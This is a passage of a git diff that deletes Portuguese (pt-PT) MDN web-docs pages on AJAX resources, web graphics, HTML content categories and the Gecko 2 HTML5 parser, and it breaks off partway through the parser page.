- <dd>The <code>responseType</code> property of the XMLHttpRequest object can be set to change the expected response type from the server. Possible values are the empty string (default), <code>"arraybuffer"</code>, <code>"blob"</code>, <code>"document"</code>, <code>"json"</code>, and <code>"text"</code>. The <code>response</code> property will contain the entity body according to <code>responseType</code>, as an <code>ArrayBuffer</code>, <code>Blob</code>, <code>Document</code>, <code>JSON</code>, or string. This article will show some Ajax I/O techniques.</dd>
- <dt><a href="/en-US/docs/XML" title="XML">XML</a></dt>
- <dd>The <strong>Extensible Markup Language (XML)</strong> is a W3C-recommended general-purpose markup language for creating special-purpose markup languages. It is a simplified subset of SGML, capable of describing many different kinds of data. Its primary purpose is to facilitate the sharing of data across different systems, particularly systems connected via the Internet.</dd>
- <dt><a href="/en-US/docs/JXON" title="JXON">JXON</a></dt>
- <dd>JXON stands for lossless <strong>J</strong>avascript <strong>X</strong>ML <strong>O</strong>bject <strong>N</strong>otation, it is a generic name by which is defined the representation of Javascript object trees (JSON) using XML.</dd>
- <dt><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Analisar e serializar XML</a></dt>
- <dd>How to parse an XML document from a string, a file or via javascript and how to serialize XML documents to strings, Javascript Object trees (JXON) or files.</dd>
- <dt><a href="/en-US/docs/XPath" title="XPath">XPath</a></dt>
- <dd>XPath stands for <strong>X</strong>ML <strong>Path</strong> Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an <a href="/en-US/docs/XML" title="XML">XML</a> document. As well as this, it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.</dd>
- <dt><a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader">A API <code>FileReader</code></a></dt>
- <dd>The <code>FileReader</code> API lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using <a href="https://developer.mozilla.org/en-US/docs/DOM/File" title="/en-US/docs/DOM/File"><code>File</code></a> or <a href="https://developer.mozilla.org/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob"><code>Blob</code></a> objects to specify the file or data to read. File objects may be obtained from a <a href="https://developer.mozilla.org/en-US/docs/DOM/FileList" title="/en-US/docs/DOM/FileList"><code>FileList</code></a> object returned as a result of a user selecting files using the <code><a href="https://developer.mozilla.org/en-US/docs/HTML/Element/input" title="&lt;input>">&lt;input&gt;</a></code> element, from a drag and drop operation's <a href="https://developer.mozilla.org/En/DragDrop/DataTransfer" title="En/DragDrop/DataTransfer"><code>DataTransfer</code></a> object, or from the <code>mozGetAsFile()</code> API on an <a href="https://developer.mozilla.org/en-US/docs/DOM/HTMLCanvasElement" title="/en-US/docs/DOM/HTMLCanvasElement"><code>HTMLCanvasElement</code></a>.</dd>
- <dt><a href="/en-US/docs/HTML_in_XMLHttpRequest" title="en-US/docs/HTML_in_XMLHttpRequest">HTML no XMLHttpRequest</a></dt>
- <dd>The W3C <a class="external" href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> specification adds HTML parsing support to <a href="/en/DOM/XMLHttpRequest" title="en/DOM/XMLHttpRequest"><code>XMLHttpRequest</code></a>, which originally supported only XML parsing. This feature allows Web apps to obtain an HTML resource as a parsed DOM using <code>XMLHttpRequest</code>.</dd>
- <dt><a href="/en-US/docs/AJAX/Other_Resources" title="en-US/docs/AJAX/Other_Resources">Outros recursos</a></dt>
- <dd>Outros recursos Ajax que poderão ser úteis.</dd>
-</dl>
-
-<p><span class="alllinks"><a href="/pt-PT/docs/tag/AJAX" title="en-US/docs/tag/AJAX">Ver Todos...</a></span></p>
-
-<h2 class="Other" id="Consulte_também">Consulte também</h2>
-
-<dl>
- <dt><a href="http://www.webreference.com/programming/ajax_tech/">Alternate Ajax Techniques</a></dt>
- <dd>Most articles on Ajax have focused on using XMLHttp as the means to achieving such communication, but Ajax techniques are not limited to just XMLHttp. There are several other methods.</dd>
- <dt><a href="http://adaptivepath.org/ideas/ajax-new-approach-web-applications/">Ajax: A New Approach to Web Applications</a></dt>
- <dd>Jesse James Garrett, of <a href="http://www.adaptivepath.com">adaptive path</a>, wrote this article in February 2005, introducing Ajax and its related concepts.</dd>
- <dt><a href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">A Simpler Ajax Path</a></dt>
- <dd>"As it turns out, it's pretty easy to take advantage of the XMLHttpRequest object to make a web app act more like a desktop app while still using traditional tools like web forms for collecting user input."</dd>
- <dt><a href="http://alexbosworth.backpackit.com/pub/67688">Ajax Mistakes</a></dt>
- <dd>Alex Bosworth has written this article outlining some of the mistakes Ajax application developers can make.</dd>
- <dt><a href="http://www.xul.fr/en-xml-ajax.html">Tutorial</a> with examples.</dt>
- <dd> </dd>
- <dt><a href="http://www.w3.org/TR/XMLHttpRequest/">XMLHttpRequest specification</a></dt>
- <dd>W3C Working draft</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 class="Community" id="Comunidade">Comunidade</h2>
-
-<ul>
- <li>View Mozilla forums...</li>
-</ul>
-
-<div>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</div>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/Guide/AJAX/Comunidade" title="en-US/docs/AJAX/Community">Hiperligações da comunidade do Ajax</a></li>
-</ul>
-
-<h2 class="Tools" id="Ferramentas">Ferramentas</h2>
-
-<ul>
- <li><a href="http://www.ajaxprojects.com">Toolkits and frameworks</a></li>
- <li><a href="http://www.getfirebug.com/">Firebug - Ajax/Web development tool</a></li>
- <li><a href="http://blog.monstuff.com/archives/000252.html">AJAX Debugging Tool</a></li>
- <li><a href="http://www.osflash.org/doku.php?id=flashjs">Flash/AJAX Integration Kit</a></li>
- <li><a href="http://xkr.us/code/javascript/XHConn/">A Simple XMLHTTP Interface Library</a></li>
-</ul>
-
-<p><span class="alllinks"><a href="/en-US/docs/AJAX:Tools" title="en-US/docs/AJAX:Tools">View All...</a></span></p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<ul>
- <li><a href="http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller">Ajax poller script</a></li>
- <li><a href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=9">Ajax Chat Tutorial</a></li>
- <li><a href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=13">RSS Ticker with Ajax</a></li>
- <li><a href="http://www.thinkvitamin.com/features/ajax/create-your-own-ajax-effects">Create your own Ajax effects</a></li>
- <li><a href="http://codinginparadise.org/weblog/2005/08/ajax-creating-huge-bookmarklets.html">Ajax: Creating Huge Bookmarklets</a></li>
- <li><a href="http://www.hotajax.org">Ajax: Hot!Ajax There are many cool examples</a></li>
-</ul>
-
-<h2 class="Related_Topics" id="Tópicos_Relacionados">Tópicos Relacionados</h2>
-
-<p><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a>, <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a>, <a href="/en-US/docs/XML" title="en-US/docs/XML">XML</a>, <a href="/en-US/docs/nsIXMLHttpRequest" title="en-US/docs/XMLHttpRequest">XMLHttpRequest</a>, <a href="/en-US/docs/XSLT" title="en-US/docs/XSLT">XSLT</a>, <a href="/en-US/docs/DHTML" title="en-US/docs/DHTML">DHTML</a>, <a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript" title="en-US/docs/JavaScript/Same_origin_policy_for_JavaScript">Same Origin Policy</a></p>
-</div>
-</div>
-
-<p>{{ListSubpages}}</p>
diff --git a/files/pt-pt/web/guide/graphics/index.html b/files/pt-pt/web/guide/graphics/index.html
deleted file mode 100644
index 3a809c989a..0000000000
--- a/files/pt-pt/web/guide/graphics/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Gráficos na Web
-slug: Web/Guide/Graphics
-tags:
- - 2D
- - 3D
- - Canvas
- - HTML5
- - SVG
- - Tela
- - Web
- - WebGL
- - WebRTC
- - graficos
-translation_of: Web/Guide/Graphics
-original_slug: Web/Guide/Gráficos
----
-<p><span class="seoSummary">Web sites e aplicações necessitam frequentemente de apresentar gráficos.</span> Imagens estáticas podem ser facilmente mostradas usado o elemento {{HTMLElement("img")}}, ou definindo o fundo do elemento HTML com a propriedade {{cssxref("background-image")}}. É ainda possivel construir gráficos no momento, ou manipular imagens. <span class="seoSummary">Este artigo disponibiliza toda a informação necessária.  </span></p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Documentation" id="Gráficos_2D">Gráficos 2D</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/API/API_de_canvas">Canvas</a></dt>
- <dd>O elemento {{HTMLElement("canvas")}} fornece APIs para desenhar gráficos em 2D com recurso a JavaScript.</dd>
- <dt><a href="/pt-PT/docs/Web/SVG">SVG</a></dt>
- <dd>Scalable Vector Graphics (SVG) utiliza linhas, curvas, e outras formas geometricas para criar gráficos. Com vetores, pode ainda criar imagens que escalam para qualquer tamanho.</dd>
-</dl>
-
-<p><span class="alllinks"><a href="/en-US/docs/tag/Graphics">View All...</a></span></p>
-</div>
-
-<div class="section">
-<h2 class="Documentation" id="Gráficos_3D">Gráficos 3D</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/API/WebGL_API">WebGL</a></dt>
- <dd>Um guia para iniciar com WebGL, o API de gráficos 3D para a Web. Esta tecnologia permite o uso do standard OpenGL ES em conteúdos Web.</dd>
-</dl>
-
-<h2 id="Vídeo">Vídeo</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/HTML/Multimedia_e_integracao/Conteudo_de_audio_e_vídeo">Utilizar áudio e vídeo em HTML5</a></dt>
- <dd>Incorporar video e/ou audio numa página web e controlar a sua reprodução.</dd>
- <dt><a href="/pt-PT/docs/Web/API/API_WebRTC">WebRTC</a></dt>
- <dd>O RTC em WebRTC significa Real-Time Communications (Comunicação em Tempo Real), é a tecnologia que permite o streaming the audio/video e partilha de informação entre clientes de browser (peers).</dd>
-</dl>
-</div>
-</div>
diff --git a/files/pt-pt/web/guide/html/content_categories/index.html b/files/pt-pt/web/guide/html/content_categories/index.html
deleted file mode 100644
index 638d6d8628..0000000000
--- a/files/pt-pt/web/guide/html/content_categories/index.html
+++ /dev/null
@@ -1,176 +0,0 @@
----
-title: Categorias de conteúdo
-slug: Web/Guide/HTML/Content_categories
-tags:
- - Avançado
- - Guía
- - HTML
- - HTML5
- - Web
-translation_of: Web/Guide/HTML/Content_categories
-original_slug: Web/Guide/HTML/Categorias_de_conteudo
----
-<p><span class="seoSummary">Every <a href="/en-US/docs/Web/HTML">HTML</a> element is a member of one or more <strong>content categories</strong>, which group elements that share characteristics.</span> This is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details. It's also possible for elements to not be a member of <em>any</em> of these categories.</p>
-
-<p>There are three types of content categories:</p>
-
-<ul>
- <li>Main content categories, which describe common rules shared by many elements.</li>
- <li>Form-related content categories, which describe rules common to form-related elements.</li>
- <li>Specific content categories, which describe rare categories shared only by a few elements, sometimes only in a specific context.</li>
-</ul>
-
-<div class="note">
-<p><strong>Nota:</strong> A more detailed discussion of these content categories and their comparative functionalities is beyond the scope of this article; for that, you may wish to read the <a href="https://html.spec.whatwg.org/multipage/dom.html#kinds-of-content">relevant portions of the HTML specification</a>.</p>
-</div>
-
-<p><a href="/@api/deki/files/6244/=Content_categories_venn.png"><img alt="A Venn diagram showing how the various content categories interrelate. The following sections explain these relationships in text." class="default internal" src="/@api/deki/files/6244/=Content_categories_venn.png?size=webview" style="height: 200px; width: 350px;"></a></p>
-
-<h2 id="Main_content_categories">Main content categories</h2>
-
-<h3 id="Metadata_content">Metadata content</h3>
-
-<p>Elements belonging to the <em>metadata content</em> category modify the presentation or the behavior of the rest of the document, set up links to other documents, or convey other <em>out of band</em> information.</p>
-
-<p>Elements belonging to this category are {{HTMLElement("base")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} and {{HTMLElement("title")}}.</p>
-
-<h3 id="Flow_content">Flow content</h3>
-
-<p>Elements belonging to the flow content category typically contain text or embedded content. They are: {{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} and Text.</p>
-
-<p>A few other elements belong to this category, but only if a specific condition is fulfilled:</p>
-
-<ul>
- <li>{{HTMLElement("area")}}, if it is a descendant of a {{HTMLElement("map")}} element</li>
- <li>{{HTMLElement("link")}}, if the <a href="/en-US/docs/HTML/Global_attributes#attr-itemprop">itemprop</a> attribute is present</li>
- <li>{{HTMLElement("meta")}}, if the <a href="/en-US/docs/HTML/Global_attributes#attr-itemprop"><strong>itemprop</strong></a> attribute is present</li>
- <li>{{HTMLElement("style")}}, if the {{htmlattrxref("scoped","style")}} attribute is present</li>
-</ul>
-
-<h3 id="Sectioning_content">Sectioning content</h3>
-
-<p>Elements belonging to the sectioning content model create a <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">section in the current outline</a> that defines the scope of {{HTMLElement("header")}} elements, {{HTMLElement("footer")}} elements, and <a href="#Heading_content">heading content</a>.</p>
-
-<p>Elements belonging to this category are {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} and {{HTMLElement("section")}}.</p>
-
-<div class="note">
-<p>Do not confuse this content model with the <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document#sectioning_root" title="Sections and Outlines of an HTML5 document#sectioning root">sectioning root</a> category, which isolates its content from the regular outline.</p>
-</div>
-
-<h3 id="Heading_content">Heading content</h3>
-
-<p>Heading content defines the title of a section, whether marked by an explicit <a href="#Sectioning_content">sectioning content</a> element, or implicitly defined by the heading content itself.</p>
-
-<p>Elements belonging to this category are {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} and {{HTMLElement("hgroup")}}.</p>
-
-<div class="note">
-<p>Though likely to contain heading content, the {{HTMLElement("header")}} is not heading content itself.</p>
-</div>
-
-<div class="note">
-<p><strong>Note:</strong> The {{HTMLElement("hgroup")}} element was removed from the W3C HTML specification prior to HTML 5 being finalized, but is still part of the WHATWG specification and is at least partially supported by most browsers.</p>
-</div>
-
-<h3 id="Phrasing_content">Phrasing content</h3>
-
-<p>Phrasing content defines the text and the mark-up it contains. Runs of phrasing content make up paragraphs.</p>
-
-<p>Elements belonging to this category are {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} and plain text (not only consisting of white spaces characters).</p>
-
-<p>A few other elements belong to this category, but only if a specific condition is fulfilled:</p>
-
-<ul>
- <li>{{HTMLElement("a")}}, if it contains only phrasing content</li>
- <li>{{HTMLElement("area")}}, if it is a descendant of a {{HTMLElement("map")}} element</li>
- <li>{{HTMLElement("del")}}, if it contains only phrasing content</li>
- <li>{{HTMLElement("ins")}}, if it contains only phrasing content</li>
- <li>{{HTMLElement("link")}}, if the <a href="/en-US/docs/HTML/Global_attributes#itemprop"><strong>itemprop</strong></a> attribute is present</li>
- <li>{{HTMLElement("map")}}, if it contains only phrasing content</li>
- <li>{{HTMLElement("meta")}}, if the <a href="/en-US/docs/HTML/Global_attributes#itemprop"><strong>itemprop</strong></a> attribute is present</li>
-</ul>
-
-<h3 id="Embedded_content">Embedded content</h3>
-
-<p>Embedded content imports another resource or inserts content from another mark-up language or namespace into the document. Elements that belong to this category include: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p>
-
-<h3 id="Interactive_content">Interactive content</h3>
-
-<p>Interactive content includes elements that are specifically designed for user interaction. Elements that belong to this category include: {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.<br>
- Some elements belong to this category only under specific conditions:</p>
-
-<ul>
- <li>{{HTMLElement("audio")}}, if the {{htmlattrxref("controls", "audio")}} attribute is present</li>
- <li>{{HTMLElement("img")}}, if the {{htmlattrxref("usemap", "img")}} attribute is present</li>
- <li>{{HTMLElement("input")}}, if the {{htmlattrxref("type", "input")}} attribute is not in the hidden state</li>
- <li>{{HTMLElement("menu")}}, if the {{htmlattrxref("type", "menu")}} attribute is in the toolbar state</li>
- <li>{{HTMLElement("object")}}, if the {{htmlattrxref("usemap", "object")}} attribute is present</li>
- <li>{{HTMLElement("video")}}, if the {{htmlattrxref("controls", "video")}} attribute is present</li>
-</ul>
-
-<h3 id="Palpable_content">Palpable content</h3>
-
-<p>Content is palpable when it's neither empty or hidden; it is content that is rendered and is substantive. Elements whose model is flow content or phrasing content should have at least one node which is palpable.</p>
-
-<h3 id="Form-associated_content">Form-associated content</h3>
-
-<p>Form-associated content comprises elements that have a form owner, exposed by a <strong>form</strong> attribute. A form owner is either the containing {{HTMLElement("form")}} element or the element whose id is specified in the <strong>form</strong> attribute.</p>
-
-<ul>
- <li>{{HTMLElement("button")}}</li>
- <li>{{HTMLElement("fieldset")}}</li>
- <li>{{HTMLElement("input")}}</li>
- <li>{{deprecated_inline()}}{{HTMLElement("keygen")}}</li>
- <li>{{HTMLElement("label")}}</li>
- <li>{{HTMLElement("meter")}}</li>
- <li>{{HTMLElement("object")}}</li>
- <li>{{HTMLElement("output")}}</li>
- <li>{{HTMLElement("progress")}}</li>
- <li>{{HTMLElement("select")}}</li>
- <li>{{HTMLElement("textarea")}}</li>
-</ul>
-
-<p>This category contains several sub-categories:</p>
-
-<dl>
- <dt id="Form_listed">listed</dt>
- <dd>Elements that are listed in the <a href="/en-US/docs/DOM/form.elements" title="DOM/form.elements">form.elements</a> and fieldset.elements IDL collections. Contains {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.</dd>
- <dt id="Form_labelable">labelable</dt>
- <dd>Elements that can be associated with {{HTMLElement("label")}} elements. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.</dd>
- <dt id="Form_submittable">submittable</dt>
- <dd>Elements that can be used for constructing the form data set when the form is submitted. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.</dd>
- <dt id="Form_resettable">resettable</dt>
- <dd>Elements that can be affected when a form is reset. Contains {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("output")}},{{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.</dd>
-</dl>
-
-<h2 id="Secondary_categories">Secondary categories</h2>
-
-<p>There are some secondary classifications of elements that can be useful to be aware of as well.</p>
-
-<h3 id="Script-supporting_elements">Script-supporting elements</h3>
-
-<p><strong>Script-supporting elements</strong> are elements which don't directly contribute to the rendered output of a document. Instead, they serve to support scripts, either by containing or specifying script code directly, or by specifying data that will be used by scripts.</p>
-
-<p>The script-supporting elements are:</p>
-
-<ul>
- <li>{{HTMLElement("script")}}</li>
- <li>{{HTMLElement("template")}}</li>
-</ul>
-
-<h2 id="Transparent_content_model">Transparent content model</h2>
-
-<p>If an element has a transparent content model, then its contents must be structured such that they would be valid HTML 5, even if the transparent element were removed and replaced by the child elements.</p>
-
-<p>For example, the {{HTMLElement("del")}} and {{HTMLELement("ins")}} elements are transparent:</p>
-
-<pre>&lt;p&gt;We hold these truths to be &lt;del&gt;&lt;em&gt;sacred &amp;amp; undeniable&lt;/em&gt;&lt;/del&gt; &lt;ins&gt;self-evident&lt;/ins&gt;.&lt;/p&gt;
-</pre>
-
-<p>If those elements were removed, this fragment would still be valid HTML (if not correct English).</p>
-
-<pre>&lt;p&gt;We hold these truths to be &lt;em&gt;sacred &amp;amp; undeniable&lt;/em&gt; self-evident.&lt;/p&gt;
-</pre>
-
-<h2 id="Outros_modelos_de_conteúdo">Outros modelos de conteúdo</h2>
-
-<p>Seção raiz.</p>
diff --git a/files/pt-pt/web/guide/html/html5/html5_parser/index.html b/files/pt-pt/web/guide/html/html5/html5_parser/index.html
deleted file mode 100644
index b5c39a3401..0000000000
--- a/files/pt-pt/web/guide/html/html5/html5_parser/index.html
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: Parser HTML5
-slug: Web/Guide/HTML/HTML5/HTML5_Parser
-translation_of: Web/Guide/HTML/HTML5/HTML5_Parser
-original_slug: Web/HTML/HTML5/Parser_HTML5
----
-<p>{{ gecko_minversion_header("2") }}</p>
-<p>O Gecko 2 introduz um novo analizador (parser), baseado no HTML5. O analizador (parser) HTML é uma das peças mais sensíveis e complicadas de um navegador. Ele controla como o código fonte HTML é transformado em páginas web e, também, mudanças para alguns casos de exceções. O novo analisador (parser) é mais rápido, cumpre com o padrão do HTML5, e habilita também várias novas funcionalidades.</p>
-<p>O novo analisador (parser) introduz estas melhorias maiores:</p>
-<ul>
- <li>Você pode agora usar o SVG e o MathML em linha em páginas HTML5, sem a sintaxe namespace XML.</li>
- <li>O analizador (parsing) está completo em um processo separado do processo de interface de usuário do Firefox, melhorando a responsividade do navegador como um todo.</li>
- <li>Chamadas para <code>innerHTML</code> estão muito mais rápidas.</li>
- <li><a class="external" href="http://tinyurl.com/html-parser-bugs" title="https://bugzilla.mozilla.org/buglist.cgi?status_whiteboard_type=substring&amp;status_whiteboard=[fixed%20by%20the%20HTML5%20parser]&amp;resolution=FIXED">Dúzias de bugs relacionados à análise de longa data</a> (en) estão agora corrigidas.</li>
-</ul>
-<p>A <a class="external" href="http://www.w3.org/TR/html5/" title="http://www.w3.org/TR/html5/">especificação do HTML5</a> (en) fornece descrições mais detalhadas do que os padrões anteriores do HTML de como transformar um fluxo de bytes em uma árvore DOM. Isto resultará em implementações mais consistentes do navegador. Em outras palavras, o suporte ao HTML5 no Gecko, WebKit e Internet Explorer (IE) se tornará mais consistente um com o outro.</p>
-<h2 id="Changed_parser_behaviors">Changed parser behaviors</h2>
-<p>Some changes to the way that the Gecko 2 parser behaves, as compared to earlier versions of Gecko, may affect web developers, depending on how you've written your code in the past and what browsers you've tested it on.</p>
-<h3 id="Tokenization_of_left_angle-bracket_within_a_tag">Tokenization of left angle-bracket within a tag</h3>
-<p>Given the string <code>&lt;foo&lt;bar&gt;</code>, the new parser reads it as one tag named <code>foo&lt;bar</code>. This behavior is consistent with IE and Opera, and is different from Gecko 1.x and WebKit, which read it as two tags, <code>foo</code> and <code>bar</code>. If you previously tested your code in IE and Opera, then you probably don't have any tags like this. If you tested your site only with Gecko 1.x or WebKit (for example, Firefox-only intranets or WebKit-oriented mobile sites), then you might have tags that match this pattern, and they will behave differently with Gecko 2.</p>
-<h3 id="Calling_document.write()_during_parsing">Calling document.write() during parsing</h3>
-<p>Prior to HTML5, Gecko and WebKit allowed calls to <a href="/en/DOM/document.write" title="en/DOM/document.write"><code>document.write()</code></a> <em>during parsing</em> to insert content into the source stream. This behavior was inherently <a class="external" href="http://en.wikipedia.org/wiki/Race_condition" title="http://en.wikipedia.org/wiki/Race_condition">racy</a>, as the content was inserted into a timing-dependent point in the source stream. If the call happened after the parser was done, the inserted content replaced the document. In IE, such calls are either ignored or imply a call to <a href="/en/DOM/document.open" title="en/DOM/document.open"><code>document.open()</code></a>, replacing the document. In HTML5, <code>document.write()</code> can only be called from a script that is created by a {{ HTMLElement("script") }} tag that does not have the <code><a href="/En/HTML/Element/Script#attr_async" title="En/HTML/Element/Script#attr async">async</a></code> or <code><a href="/En/HTML/Element/Script#attr_defer" title="En/HTML/Element/Script#attr defer">defer</a></code> attributes set. With the HTML5 parser, calls to <code>document.write()</code> in any other context either are ignored or replace the document.</p>
-<p>Some contexts from which you should <em>not</em> call <code>document.write()</code> include:</p>
-<ul>
- <li>scripts created using <a href="/en/DOM/document.createElement" title="en/DOM/document.createElement">document.createElement()</a></li>
- <li>event handlers</li>
- <li><a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout">setTimeout()</a></li>
- <li><a href="/en/DOM/window.setInterval" title="en/DOM/window.setInterval">setInterval()</a></li>
- <li><code>&lt;script async src="..."&gt;</code></li>
- <li><code>&lt;script defer src="..."&gt;</code></li>
-</ul>
-<p>If you use the same mechanism for loading script libraries for all browsers including IE, then your code probably will not be affected by this change. Scripts that serve racy code to Firefox, perhaps while serving safe code to IE, will see a difference due to this change. Firefox writes a warning to the JavaScript console when it ignores a call to <code>document.write()</code>.</p>
-<h3 id="Lack_of_Reparsing">Lack of Reparsing</h3>
-<p>Prior to HTML5, parsers reparsed the document if they hit the end of the file within certain elements or within comments. For example, if the document lacked a <code>&lt;/title&gt;</code> closing tag, the parser would reparse to look for the first '&lt;' in the document, or if a comment was not closed, it would look for the first '&gt;'. This behavior created a security vulnerability. If an attacker could force a premature end-of-file, the parser might change which parts of the document it considered to be executable scripts. In addition, supporting reparsing led to unnecessarily complex parsing code.</p>
-<p>With HTML5, parsers no longer reparse documents. This change has the following consequences for web developers:</p>
-<ul>
